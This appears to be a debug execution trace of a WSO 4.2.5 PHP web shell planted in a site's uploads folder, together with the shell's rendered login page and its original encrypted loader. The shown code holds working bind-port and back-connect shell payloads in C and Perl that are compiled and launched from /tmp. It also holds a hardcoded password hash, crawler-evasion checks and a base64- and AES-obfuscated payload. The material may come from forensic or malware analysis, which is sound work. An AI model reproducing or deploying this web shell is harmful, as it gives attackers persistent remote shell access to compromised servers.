ICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9";\n\t$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";\n\techo "<h1>Network tools</h1><div class=content>\n\t<form name=\'nfp\' onSubmit=\'g(null,null,this.using.value,this.port.value,this.pass.value);return false;\'>\n\t<span>Bind port to /bin/sh</span><br/>\n\tPort: <input type=\'text\' name=\'port\' value=\'31337\'> Password: <input type=\'text\' name=\'pass\'> Using: <label><select name=\'using\'><option value=\'bpc\'>C</option><option value=\'bpp\'>Perl</option></select></label> <input type=submit value=\'submit\'>\n\t</form>\n\t<form name=\'nfp\' onSubmit=\'g(null,null,this.using.value,this.server.value,this.port.value);return false;\'>\n\t<span>Back-connect to</span><br/>\n\tServer: <input type=\'text\' name=\'server\' value=". $_SERVER[\'REMOTE_ADDR\'] ."> Port: <input type=\'text\' name=\'port\' value=\'31337\'> Using: <label><select name=\'using\'><option value=\'bcc\'>C</option><option value=\'bcp\'>Perl</option></select></label> <input type=submit value=\'submit\'>\n\t</form><br>";\n\tif(isset($_POST[\'p1\'])) {\n\t\tfunction cf($f,$t) {\n\t\t\t$w=@fopen($f,"w") or @function_exists(\'file_put_contents\');\n\t\t\tif($w)\t{\n\t\t\t\t@fwrite($w,@base64_decode($t)) or @fputs($w,@base64_decode($t)) or @file_put_contents($f,@base64_decode($t));\n\t\t\t\t@fclose($w);\n\t\t\t}\n\t\t}\n\t\tif($_POST[\'p1\'] == \'bpc\') {\n\t\t\tcf("/tmp/bp.c",$bind_port_c);\n\t\t\t$▖ = ex("gcc -o /tmp/bp /tmp/bp.c");\n\t\t\t@unlink("/tmp/bp.c");\n\t\t\t$▖ .= ex("/tmp/bp ".$_POST[\'p2\']." ".$_POST[\'p3\']." &");\n\t\t\techo "<pre class=ml1>$▖".ex("ps aux | grep bp")."</pre>";\n\t\t}\n\t\tif($_POST[\'p1\'] == \'bpp\') {\n\t\t\tcf("/tmp/bp.pl",$bind_port_p);\n\t\t\t$▖ = ex(which("perl")." /tmp/bp.pl ".$_POST[\'p2\']." &");\n\t\t\techo "<pre class=ml1>$▖".ex("ps aux | grep bp.pl")."</pre>";\n\t\t}\n\t\tif($_POST[\'p1\'] == \'bcc\') {\n\t\t\tcf("/tmp/bc.c",$back_connect_c);\n\t\t\t$▖ = ex("gcc -o /tmp/bc /tmp/bc.c");\n\t\t\t@unlink("/tmp/bc.c");\n\t\t\t$▖ .= ex("/tmp/bc ".$_POST[\'p2\']." ".$_POST[\'p3\']." &");\n\t\t\techo "<pre class=ml1>$▖".ex("ps aux | grep bc")."</pre>";\n\t\t}\n\t\tif($_POST[\'p1\'] == \'bcp\') {\n\t\t\tcf("/tmp/bc.pl",$back_connect_p);\n\t\t\t$▖ = ex(which("perl")." /tmp/bc.pl ".$_POST[\'p2\']." ".$_POST[\'p3\']." &");\n\t\t\techo "<pre class=ml1>$▖".ex("ps aux | grep bc.pl")."</pre>";\n\t\t}\n\t}\n\techo \'</div>\';\n\thardFooter();\n}\nif( empty($_POST[\'a\']) )\n\tif(isset($▚) && function_exists(\'action\' . $▚))\n\t\t$_POST[\'a\'] = $▚;\n\telse\n\t\t$_POST[\'a\'] = \'FilesMan\';\nif( !empty($_POST[\'a\']) && function_exists(\'action\' . $_POST[\'a\']) )\n\tcall_user_func(\'action\' . $_POST[\'a\']);\n?><?php '	/var/www/html/uploads/wso.php(2) : eval()'d code	1	0
4	21	0	0.011631	1097936	array_key_exists	0		/var/www/html/uploads/wso.php(2) : eval()'d code(1) : eval()'d code	3	2	'watching'	[]
4	21	1	0.011659	1098000
4	21	R			FALSE
3		A						/var/www/html/uploads/wso.php(2) : eval()'d code(1) : eval()'d code	7	$▛ = '21232f297a57a5a743894a0e4a801fc3'
3		A						/var/www/html/uploads/wso.php(2) : eval()'d code(1) : eval()'d code	8	$▘ = TRUE
3		A						/var/www/html/uploads/wso.php(2) : eval()'d code(1) : eval()'d code	9	$▜ = 'UTF-8'
3		A						/var/www/html/uploads/wso.php(2) : eval()'d code(1) : eval()'d code	10	$▚ = 'FilesMan'
4	22	0	0.011746	1097936	md5	0		/var/www/html/uploads/wso.php(2) : eval()'d code(1) : eval()'d code	11	1	'python-requests/2.25.1'
4	22	1	0.011768	1098032
4	22	R			'ecd862b3d0595af0a0b03f511e800938'
3		A						/var/www/html/uploads/wso.php(2) : eval()'d code(1) : eval()'d code	11	$▙ = 'ecd862b3d0595af0a0b03f511e800938'
4	23	0	0.011805	1098000	md5	0		/var/www/html/uploads/wso.php(2) : eval()'d code(1) : eval()'d code	12	1	'localhost'
4	23	1	0.011823	1098096
4	23	R			'421aa90e079fa326b6494f812ad13e79'
4	24	0	0.011846	1098000	md5	0		/var/www/html/uploads/wso.php(2) : eval()'d code(1) : eval()'d code	13	1	'localhost'
4	24	1	0.011864	1098096
4	24	R			'421aa90e079fa326b6494f812ad13e79'
4	25	0	0.011883	1098064	prototype	1		/var/www/html/uploads/wso.php(2) : eval()'d code(1) : eval()'d code	13	2	'421aa90e079fa326b6494f812ad13e79key'	'ecd862b3d0595af0a0b03f511e800938'
4		A						/var/www/html/uploads/wso.php(2) : eval()'d code(1) : eval()'d code	357	_COOKIE['421aa90e079fa326b6494f812ad13e79key'] = 'ecd862b3d0595af0a0b03f511e800938'
5	26	0	0.011928	1098440	setcookie	0		/var/www/html/uploads/wso.php(2) : eval()'d code(1) : eval()'d code	358	2	'421aa90e079fa326b6494f812ad13e79key'	'ecd862b3d0595af0a0b03f511e800938'
5	26	1	0.011963	1098640
5	26	R			TRUE
4	25	1	0.011981	1098576
3		A						/var/www/html/uploads/wso.php(2) : eval()'d code(1) : eval()'d code	16	_POST['charset'] = 'UTF-8'
4	27	0	0.012011	1098952	ini_set	0		/var/www/html/uploads/wso.php(2) : eval()'d code(1) : eval()'d code	25	2	'error_log'	NULL
4	27	1	0.012033	1099024
4	27	R			''
4	28	0	0.012050	1098952	ini_set	0		/var/www/html/uploads/wso.php(2) : eval()'d code(1) : eval()'d code	26	2	'log_errors'	0
4	28	1	0.012070	1099024
4	28	R			'1'
4	29	0	0.012087	1098952	ini_set	0		/var/www/html/uploads/wso.php(2) : eval()'d code(1) : eval()'d code	27	2	'max_execution_time'	0
4	29	1	0.012108	1099056
4	29	R			'30'
4	30	0	0.012126	1098952	set_time_limit	0		/var/www/html/uploads/wso.php(2) : eval()'d code(1) : eval()'d code	28	1	0
4	30	1	0.012146	1099016
4	30	R			FALSE
4	31	0	0.012164	1098984	define	0		/var/www/html/uploads/wso.php(2) : eval()'d code(1) : eval()'d code	31	2	'VERSION'	'4.2.5'
4	31	1	0.012184	1099088
4	31	R			TRUE
4	32	0	0.012200	1099016	get_magic_quotes_gpc	0		/var/www/html/uploads/wso.php(2) : eval()'d code(1) : eval()'d code	32	0
4	32	1	0.012218	1099016
4	32	R			FALSE
4	33	0	0.012236	1099016	md5	0		/var/www/html/uploads/wso.php(2) : eval()'d code(1) : eval()'d code	43	1	'localhost'
4	33	1	0.012254	1099112
4	33	R			'421aa90e079fa326b6494f812ad13e79'
4	34	0	0.012273	1099016	hardLogin	1		/var/www/html/uploads/wso.php(2) : eval()'d code(1) : eval()'d code	44	0
4		A						/var/www/html/uploads/wso.php(2) : eval()'d code(1) : eval()'d code	50	$userAgents = [0 => 'Google', 1 => 'Slurp', 2 => 'MSNBot', 3 => 'ia_archiver', 4 => 'Yandex', 5 => 'Rambler']
5	35	0	0.012316	1099016	implode	0		/var/www/html/uploads/wso.php(2) : eval()'d code(1) : eval()'d code	51	2	'|'	[0 => 'Google', 1 => 'Slurp', 2 => 'MSNBot', 3 => 'ia_archiver', 4 => 'Yandex', 5 => 'Rambler']
5	35	1	0.012343	1099160
5	35	R			'Google|Slurp|MSNBot|ia_archiver|Yandex|Rambler'
5	36	0	0.012365	1099096	preg_match	0		/var/www/html/uploads/wso.php(2) : eval()'d code(1) : eval()'d code	51	2	'/Google|Slurp|MSNBot|ia_archiver|Yandex|Rambler/i'	'python-requests/2.25.1'
5	36	1	0.012390	1099160
5	36	R			0
			0.012445	1019728
TRACE END   [2023-02-12 22:57:55.888803]


Generated HTML code

<html><head></head><body><pre align="center"><form method="post">Password<br><input type="password" name="pass" style="background-color:whitesmoke;border:1px solid #FFF;outline:none;" required=""><input type="submit" name="watching" value="submit" style="border:none;background-color:#56AD15;color:#fff;cursor:pointer;"></form></pre></body></html>

Original PHP code

<?php error_reporting(0); function e7061($e){$ed = base64_decode($e);$n = openssl_decrypt("$ed","AES-256-CBC","1234567891234567",0,"1234567891234567");return $n;}$Fls = 'eNrtvVlz4loSLvqXJGE6mofzUGAm2VJtBAikN5BcxSBhmsEgfv3NXPPSBHZ5d%2B8T58YOxy4bsbSGXDnnl%2FbEfbYnbj%2Fqry72pN22J3Yff17Hxkn%2FMefB3Nss%2Bsk5zE6NcGbfFn3%2FuOxMM6fwrHHCsRazIHE2q1W0s1dvfusQzpNf4Xy1jxrezZ4Mn%2BCnEVs9I7BW%2B2UawbPws3Xg%2F96vabc18WHsn2Py0xitp5fReHrB392Bd4o6x8QxRgcYw5ibbm%2BahL3pemrCc5nLf09aP0dTs4fvsSd%2B9xU%2F67Umnm%2FPPH%2BYuNMhvCsejXvtX1PDdzz8PJuaXucJ%2Fo6fu2f4bsa%2BN5qY7hTG6eB4Ub93izL%2B%2FPQ2Wh8T97l9CmbJka%2FtbbCC%2F48uy1lvv%2Bw0s3hMns9G2RHfmy2tlkHnZj%2B%2FZHxdZL1kPGcb4M%2FBm3n7uHP6iNanbTi7JnF%2FCt%2FvJk63m7jGiPyfPXt6LTmLV7%2B9ihpuY9mwt6WfK2eG%2B2lPp5k92Vr2JOnAvG4e7vVmmDmT4c1Jg%2BznJF65%2BDPrNtxn5%2BnnxFs5%2FakRTH5fnFm4cWAtzlpdQ7gK%2B%2BZ%2BSc8wczt%2BDz5vuvDzk51jPLDNkKy7%2BAzZL3rWDd%2F3%2Bq%2BT35RWjCFd%2B2aUeJNh8nMSJD%2BnXXjO7ZL9NML9su%2FfJrPeme6z2ymucdukazydwmfc19%2BU%2Fgx%2F7G%2F9MT%2Fvcc%2BbTnstH%2F8%2BN3oDb9qccrqC%2Fzf52EDzB3b%2B18XcvYXzkRhzZLT%2BGhtJD8dczkYme65Iv8Zq6gNNjtkdYDQGdIF0acM92jL6xLHx31t4Z8zW9qMZDeyPuN8y3ubtBN%2FxHe%2BCe3nI75u6bnh%2FV7nzyXLeNt7w7naKdwfuO%2FAEN4m195Efecfvfkfef4Venx85B8Zb6PqtZqKf4xDpQfKbWZLiOPVjdAk96ueBe93%2BC57gfGbF38PobR9YrXO8pnvk7HwjXBs430zwgwf2bZQhT3AzOGtDnnH5e3Fc8rnh%2FjWB6%2B6N4anU3LrynPK8cej3vNHcWJHxlDUSvriw%2FCadr9w7SQ8%2FmowWgN%2FTOZfSQpangWPJ%2Fjr83fRuW8lmaTUttt4snnsp5QmSTnN7AHKrl0WWb6h78WJ5SdCw4b5Unasj18zk0t94hyU%2Fe072IdJFP7mxOZed68UZP7B3jR%2FX%2FxHdafMb0XGfJ0brdTydwjP2I%2Fx2SOch7yfKYic9JchbQD6ovOP2qTvb%2BJGV3PuinH8e%2Fm9oT5vfP%2B%2FeRs%2FOIzzv4mQ6v17M3I%2FlLmBrts24H5wIHa65XpS%2Fg%2B57MLfZOYq7eAj7%2FibaJZeH5vdfvLtUH%2Bul8ay5ifvJx3JdvCeg%2F2b8TKNBvKX7j%2FKb%2F%2B52g7R3CyeBMbf8M9zXbcjPetBuhEJHxN9dIwJdy%2Bvbq8iaWrAP%2BL6PsC%2Fu1i0eDOUcN16yTN1fcKczfA%2BlA%2FxxyftDmPe8wcZk50J1OXhXH8cYXfDZGHV2%2BY49%2FO0Z1wX61llfJ6evuBOmrYx%2FtsDxn3%2FwOf2n9Ptib%2BjcFkgj7IfZBDAn2B%2BztVngGg2P%2Fn%2Bz%2BojSkbZ%2BSo84T07zfg%2F1Yf1dPn9Pnq%2Fw9%2BBYZ7ZvdK%2BAPiN1f7ZD%2BmPYlId3%2BL5NcX7wffsYzp6KZ7NJ1lHqrxYZGasB7294AzuJB34GNLQO5m7iAg0j3S%2BBd%2FB5K%2BfF54rfRT5oOGCrLfyWwgPjBGyxjyhpHZcWt7fcn%2F706ug8YHRZzJr7uXr%2FretHaLbo93cOt9Uu979nrt56reQN5g28cg%2B88xfci1PIbaHbD%2F3%2BPLdhvh59xm8dFzNzT8Z6Vp%2Frwd4ir1gR2w3lxtRI%2FpokLZvyGefg3n5cHP4dIlO3Ymywx3bAh35Fcx%2F0ZP82b9jmcgdzmxF6LqwJ9jyFdfE9b4j3rVV7LjJeN8Ozy9Yl5BGTRSHw%2FznsRQjyY97omcuGl0Rmaxf1HXY2RT0%2B3AHNNXDPng54Nxbz9m0JducC52yBTEl7TU4HwCOzYF4cg9gDqW%2FEc%2FsMsuvO99z%2BC%2Fsc5xrxM0T6SpNLZF2Bx6xw3tSm1%2BxZT%2FyN6CFGtzDnkncqOs9W2rLPW0UOULlxb%2F1c7ihjHl6y40GXmw%2BOJeWsqlfwe5Whn2BEdK3fCfKw0aRL9s%2BZdM%2FO5sfVGZ8%2BpukQ3m0zfwq3i%2FCce7ptpNq5a6nHucoaHpLHuj%2BC6YL4PWoH6fJOl9HAW26qLkT1RG73q7b1UMo7Njfy02hnQM8f8SC5EDnV%2F5JuUmJjJh31LpJ3WUmKehrRGWY5%2FfjP9SP%2Bf7xDz%2FjD3%2FUduivTwTPQix%2FfW9S9U89ZWjH6T8hcCjTJeMzf43M4nolebPX%2BE8x%2F53W%2Binv25f0%2FvBK%2BHq8Wae9Jt1sIv18vrdaR6RSqL%2BKJ04jKM1HvDrsgt6yE6xS6ba%2FYCrh34cy8xIPtH%2FiASsYf072JQX5H294O5LURMX%2BW5INEFx7A2nZUpxK2RDa1rma0%2B6H9beK7P0cp8R0Km81JkxXyMfSlxqmfaZ8lyWqZesmbpmfb42BmrkHfYs%2FqNgD%2BvGQnqsMM2lk4i1FuGoH1m803or69TQRndtoDTzsqekmD3h%2FVt%2BkDXdptkIPneOAoZ43jhHvt2Sp6MX38%2B6%2FRNO5NklGJ%2FRHn5%2F8eznrbcD7k%2Bg8ZB3myM366vNxGF7dz%2BrlsjA5e2jKXKR0zL5fgB%2B6hD%2FbkqPj3TMgFdt7K7zNvz%2FV2okMDnwzHp9Wyn%2ByWRGd3E9A7EqJr4522QtBbjcNy5huLfovYAVEfdE7kxYoPF3XlYDdkOqW7X%2B7aZtw5MX8ffgdkQSNGHfiwTHuoa928AX7fQdnXJDSGsnYTr4OZewgb9gfYK9tXtM36qKO7bdTvUTdazloH4pdNQe9L6VxHk97lrXO6La3rPiT30u17SAsGjDP3jlRXctvLtHUOuf6cnbJw3jMXczsJO3y9yTka%2BMYLzCnqM%2F14Zp9gn%2BW8if4Rr%2BK%2B%2Bw7j7pBOXhrhajnwE6aHN6KGv17OEoN%2B5hpvs6v4LACbIyQ0rswntVeBddpF9MxPYF8dlw3cT5Tjjulue11ngvOxQde%2BfpA1o7%2FBCtMQ%2F526cCdd%2Bvd5%2BwPmZRAaM4bML43fdZCuUzivE7y7Z5M4i92PQKenv%2BfvnOY%2FRTvBwHfHFrmfT7hGZk89Tbsr4J2tCd4XB30rN0e5A7hu6v92dlRmOOucbxVoSvLUuLEg9gj3p4N%2BMnATeY%2BGxrLhSJ%2B61dy%2FUfkgffUDdxWmPvAHtFO5X5bZAlYsdZaG%2Bly5nox8mNhjVi8F%2Ff%2FEeEpTyn8fdLVWBjp7Ancji0k8Km8f4Dl6W5CFqyC9JnMrhHN2jcWsdY6ymvlZ3h7eizzxl5QjTaYbqWc1xPuJ9skmtkZ8b8DegrH6LrXPO8W11fuQnTLZyu2WzaIPc1s%2F5EOV50LmIteLNkjQiLnNq8Ys%2BJw%2B2P6IeEtMZWejRLbB%2BKsP4FW%2FcEzmW0S6%2FQX2xgV0643C%2B8xRRn4U%2BTNk8kP6zZQ9LfLgjSf3Gu2RBO41yBzgX1zmoD%2Frmf4osm9N9XXFv1QYn%2FlsFHudnKE52qHdc02W%2Bt9hj41rUZcT8lA7Oz7v13XJc3x9JEbWpfGK6ehiT7tXst%2B3H2hTXoAXHab9BHSFkWZTFHWdVRLMCI9m9CfsCMWn7J%2BigdessAVKfJXcfyPl6iPfk%2FzFG0y6rc5oep1wetXjNfw9UvcIZ%2B77ktOI4b7HffPIeSjYayspP0y4b93DYuAZUcdMwJ7fx8xv5RroZ%2FRAvo5OPrNLQAah7xZ9JgaXDyDjnvD%2Be%2BnKWM4ueCYHxd%2FNfGBMB74fkzpzmkP%2BSOYI5xP3r4Lnv2RPh8f1bz7e8fRixpMJ3RPUt0A3sifjaesnjMf2icgbYwHyl8hNyu%2Fh%2FUIe9vj%2BgkzcvhHasCvlv42x3ufgArYt8fe9WPpn4aSXOLPplX5mgo1CZA3oBsSndwhB1uL%2BjWZN0BvM1bJzbBDfyPjUjkBXXdIYwjCcXa1w7u0DjKEBHwD%2BCzzaRF1xH7IYsou6Mvw9Tns31PFekE834O6j7mx0D8DjPwLrSN6Lui%2FIhE0wu5yCGegn1hN7pmXEwF8onVFZy2j5BvoS%2BQ7Gil9ne%2FIO4HvbuP%2BbfNeZ%2FECfkEnXukoWs%2FidrG18vDrPbdCFcJ6nyr0kZ3j7YTn97tUpfTaBucZEZ3pp%2BNmSy6NMlZG578xR%2FvkrOo%2FTeZmZyA%2BTgOqosN7eZmHFYJf757Bj3hbzPR0fzpHaB7gWXQ9CXXNBfHR0z1w8y82U%2F5%2FwK%2BmjScAWQz5iP8d99LGDfO1Q%2FXeUhnD3cB6w3kEb9bsV8vYAzn8ENspi1juS78E8wn7vTP4OusFy55yAh2REHm1dJ565%2BxDu95TQBOpdeTqzgXZskOvw3Y4p9OrRHORYR%2FOFXn7OPaILvKagL6T%2FZv6mnH5nOLfRzX12svLvIq0ADX2AfjQN0guxN3L7rIyHd9W5uJt226F3Qt07pLkz7sHiGeneXVFahPE0XdRNw5T4b64LsE1BlzQCyrs0Goa7sMLcCm5%2FsP0%2Fge4I9L%2FC59tA%2F0emB2vfJe%2BntgzfkzXaGKDPnuA%2BpIS%2BJn5O33cybxL2fk4dPIMLyJwt1c3dtrNrP73cfHonFDpwkQ7MMAEbAmzRLn6vnvdMflzdSW%2BD8wW7M6M2PIw%2FaD%2Fl1xD2E%2Bs1Ffyer0Oblzun3%2BNjvQJPDOnczGjw%2B%2F58gBcGjBeq7w6k3Uf3HubwNhidiJ%2B%2BYa9oDIjywWVauEMrHB%2FuhkXsB3kGYE%2BsjFeQ5UAPIPf5neyZaMeDTrIvjrU9U9oE3kh4Ar6zl4J8y4jepts83NYB%2Bgxu3nOJrWOEfY%2FaOnJfkY%2FOPRpr6Huwtu5JeSflU%2BKOmmA3IN13T%2B6E8chU5duoZ7c2JN6xa6%2FgbTQHzOhacB7Ac9l3du2PyEqI7k7oeGYjHZokBwruP%2BjU%2ByBNjsC3mnQvk21IYkj6Ob3uvA%2F4HshHnFPvfdkIE7bW3D61gG7cPfEDGV0i3%2BI0uS1m9h74C%2Fptgb%2BEYCcA%2F%2BsXzwB0iKvUk5A%2FSPvTARoE3RXoKtlSmQC63eb3jfgG9D3gNHkK5vaO2GcGpT0y7zQEHoHP9VZgb38U1pqC7AQ%2BG864Xx1s6tnTSZFpVxobmbJ3%2FK767D2cJbvFgJy9IWWd6uOgNjzRtxtI%2B94K41j0dzdZYtxHyIUC%2F66wr2vt88x5Hj7B3pE7y3gV7sV5SXJ53I7QPSYYHz49A28GmQLnazSTmMiRFtAPv0Pye%2Boegv2yDmeUx%2BtyEff1ivfaCjVfzxVkhH%2BkNBqiP%2BDA%2BDncS5%2FOZ8zsZqob0n%2FrsvKJ5q3hnUM66d2EX8wygX%2B0UG5sqA8jp4%2BBpMA1vM7jJEhP%2B7hjgu0CcpP6lMi8lw28s8Rv3XT6XhIK3cI8LRvvJ7DdQAa73GcBelrLgPtO7Kufk%2FY2nAnf2Gk5dz7xvP34XHa2kFlOg%2FJsoCsqzycu5wnqXSH3IndGqwD3D%2BiS7NVO%2BGhO4TxEn9st558qP8fUx7UllC9ofJDZefh%2BOxP6INN9gSdeyPzJXON9OPDeye%2BTmOuK6r26umydui7B7oTOI%2Bp44WUJcg352OvMt6ifWZU7NvpD0C5v0rUJnVmVR%2BwsJf%2B6J3tzOlFOfvWOsDd0ruj3LdE%2FKO320I%2Bq6C95WVV%2BR8V3G96Wfb9RwkcPTud4ebkVdLB9uAP6xZhvUfch54LfjSyMQRNfSKUOwGTLbTxrXvi%2BKfz0xvim4iduYp7wGeb9Lp4ndqiiwwr95Gt6ySvwWuD5B5JfIOVd4w5vvbmTUeZOhiVyrQd8%2B2SE1G5DXR%2F2Gsbcoe3WO6pnvZyhDL4Wzgvu4CWeo8%2FAFr7qvP%2BW%2BgLq9Gq8E3bP3WJecJUs8jssFkl9AZZtxgMP9TDuJ7u3D4p%2Bq9MM9bWjb4j7rIkfnfutpQ%2Fv8T1X%2FM0PvWsNMt8gfO7b3gXnW2IH1NLd5kf2Eyylgi1C%2FNucf%2FzgeT%2F18lieIcrGzNvlfRbu89Rwx2O%2FPX0x3TGRn%2F2VEQ9%2B0HXRHPNG3IjO0WbaeE3jZLluEj3V2yWrt9Tdv%2BG%2Fyf%2Bb%2F4m4bwbflcDY22TkdzSfyQbzHWLxN4zFnqwAZHpg%2Flv6wjPmG7LQd3QF2exv0LalfiGe11H0fzEfrBJvJz6hTM1Rp3H1cBWtT6u5kv%2FOfUiLgXcCnnsJQVcNZlfqf6OxasMp8xGP9ZiufJ%2F2LuHH%2B5Z3luZ5q%2B8urPXi%2BCX7y2LwPzHXDWVgzTuj524u70%2FWcTBf5pXHSEB2HCNrynSUQJHpPeJzBFsF7K8EeDLNQXwoz9Xwf%2Fq9ludPW1PPl3GZ17X0C1IfuqSp6Nn%2BJf2lEfPxHRn9kFgQ2P6Unlyim9%2FNFSW%2BcCX2w%2FzUeG8wduaymIrbZ%2BfbILZT9fnW5cWi%2F6I3SWBOvv%2BX3%2FUnMhbOfJPS101yBeK0l700ftzKaIzt8RPGulCno79jzmFdbinNLyZxBou%2Fc0trZEgsw0thPbeQ5fOwOh96FrPau5vf55u6zxj%2Fn5s9f2J6vWkmcnfq6JvHSbZLyzWXM2YXKPkCVI7JeNUL5n%2BKPOEVzRfcuhcew3B5niHNC2Vn3DSX%2FQt85sAPefaMeZUh0TdIvVfX6bAcyp3IMTzHs%2BuR83Maa6zIQx0o%2BYY79l6Zf4r5pSz%2FdHWRsRab0LqaM%2Bl1lHPYkf0huan83QptdgjNWGX5pyuRe%2FqKsZo0Rt0k434wMs8BGfs%2FbN1gO71jXCG%2FL51Cfmmq5ZaS3E9CH1tcn98mccP%2BluUN%2BWS84ufvfP3K2uwOzmWKeWiz5u41DbOlZT7jfRvxPVbzWun39%2FR75LsdnhPG4iLdwvpnNtipvYOUz3CmIg%2Bw9KyU%2BfHYoOJjU2JNmPP%2BU%2F8u2vUT4FOsjo%2FQJeVtbI3sPJ%2FQnzEVf7M78ozpOylvALuN%2BtGYziNyVcHW6GW4ryOL2EjoN8bcxHNoXQRtwDvhDpN7n1D7QfydvHeJ9Dpg38uaR6DJHdXV7ZToSpsVmftS5CjbZ05j%2FPuj9Enm%2BirrDW5dnueLe1FCD0%2BF%2B4B7s9yRWkoYl8aK6TjOleeGuoR%2BRkp%2BMepvHonVY06c%2FM70SvcL6SPcIN8fgQ3pPqvjoF7r8fM6gx30sZwSGfes5PDw8fDHYjncz85ky%2BjD7tTSL1mrg3FMy9047N1yPer8iY7I9uGxMQnN95wJ33snw1w6mkNo311X%2Bdoq5vnAeGSsTWA5GeMbt64a%2F294fZYDTNYo9Q925ozXiGcwv6cnaJieGdj4IbGpOe%2FgtPi6c8HuojFw8Z2tS2lF7nPh%2B2y%2FS%2B6Kh3GJjjNW8tD73zo3djfio8pnBG%2FS7r7um1BqKmQ%2BPPyNn0XY7xkBrxem8mTtbkZKPWivMzK8nreNh%2BPp%2FnXSNX9OzLaHGZ2%2BH85nvWQRzOwN5nuHIF8W6em4xPjlAPSgBuzhLn56m79fsA4WrAbLvf1uMp7cl%2FKKy6p%2FX1FHWN6IvP5A2hhZv6805kP%2B9s7%2BRnynQZqgvwZ%2B5zIO%2FjZzxL%2F5%2FZD8EuNu5oXkLlNZijoKrUVO1RxZ4qfnZ5WFc8%2BM0qcD2ytGn%2BwZQifBkybr%2BWfboeTDlH9tl8Qv9m9Cz3S85kbc12mP5OUuxppMhbn9O%2Fvk87fPPW%2FvSX6h4X041MYD%2Fte1kHeRs8A4ueE80d9J%2FOqd6MZ9%2Fj3CE65E5920nxwroM%2Bsi88QfV59Jis8g7zFcga%2Fb9Sv%2FdugOhU9a%2BW7xnLe%2FoX5oKhfk3NnfJ7a9x7SMZMlbN3PXc6fSj4b1nzm1Hym8YzGop8cKQ3g39xtMPdWOR3rRnQkXDfWrvewLmB4XqQtkausxbB3bmOBGAI0l7cwnjvh%2FNfe4P1%2BITy6x%2BUV%2Fv8cWdd9YPE6Dfv5dcLXyu0MRWcwbFlTk7qo8xyIH3XG5ow6Vta8LfsJzVVCWb91Tg7lIdmI53HwfLdU16mkPkXH031Rig7P8%2FbJPXI3OO%2BIxn0vJC%2BJ2BVw3xV7Wc%2Fd2Sr5O11m13hMXx82w07zFK6bq9edzIsM6NmgfXso%2Fdz%2Fdy6XlY%2FvVI2%2F0b6fFcbXPzcrxh%2BQetSrJv9moIfPgjPsCeZ4HOMZyQW9OMU1wN%2BaFthyJs1p%2FXGdZ7r9xPO5qX1aug7Yc20M4sMKiX142r6mZvq6%2B5Gpa0H7PJ8bzfRvYoNS%2FkFtLmeT8DFu%2BhgOtQGIvsbX6%2BjrLe4ZHSsV%2B8JqUDWbMP8M83sQP8L576obVfwZeu0tOQO6PrhbbJ%2BpnY8yTNRs9vPPsBphYsc%2F%2FV31moptXsx3L9JY9bw1Wv2H7DfQ%2FH060Wjbfua%2BF4Zx8jfUZys%2BoEJeffGuMP8I2paiZlacyz%2BIVtj9V%2FMeS3ma5OkKz%2BkrNc05nlD%2FvJfjQ%2BX2OYml%2FpmsYXnKKxLHx%2FziEcERwLGo%2F4nqrmptdtXZumaQshrOToF2y%2BUlwdP41LuLNY%2BsLozmnDn0eyTP7EdGxyJ%2FU8%2BvcMbUF9FeRWnvFCm%2BymC2X70RH4KXkfuv5vLStXM%2Fwl76nKgORXm1fwxnJolDK%2FoPfUbxKSh1JjjmBda7Ws4xV5raWdxH7vI61JTSEGIEEd8i6KFwO0nN82vapLFOVU8iPhWb%2BXF8f7pNwK41LxhrJXFuIVvkfPF%2Bgc4Nd0bexQI%2FmruZrAOifl3MxRL1o1klPxx7fs%2F3fHc6N%2F3xuDJmgbkl%2FFwepKkGnRPoa8fi98t0LaKjNsCO3S4b0XnWNZ0x5hn3bMwzTqLGqOyMwL5i%2BEMWxrZOwWR6HcYD7zJN%2FWs8828V9wDmSvUcjluDefdhv9V43fY2JNfEX%2F0VpPskeOy9beQFceoHE8v%2BTzhzeY1kYzJLNlHaui2t0HhNVu6ki%2FzwR54%2FK%2FWHzJYcwLpLalPlD9b3dDFOjzry9m3uklwQ5DNA35yvX%2BDdm3Du3nA%2FRuwzzU%2Bu%2FIB%2BfX1NWxdZLx%2BPpLzBM6S5shiPjnZ%2BUqgVzY%2BF%2FE6cnzdktWE85tAYiVwdc8qwk2RNmtW7RH20PXos%2F8Luv3VMjDmeENdgOTZNUitA79I2Lzeq5kP9NCt%2Bt8vPQK8xq6Dvdra0XFiXOw7nPfSbnUOLy%2B8if2Q1H2TtdC421g40pzQvR9YR3Th%2FzdcACBlIzh39O%2FHAvym1wxmrvy%2B8W%2BevdhIy3rpM%2FcaLCb8b%2FhOrPRc1I%2Bzf8scaST6JcbEp8hBH%2BXEnsh6E%2FkQ8VkR5Vq4eJT5VyXptvtzfMsB5NwmugbqHUaONuVuJz%2BoKCvdc3nfgnxeGj0f4H9XzUF7uWHyF2qMH7hdwxhV4N1rt4YnpE70j5k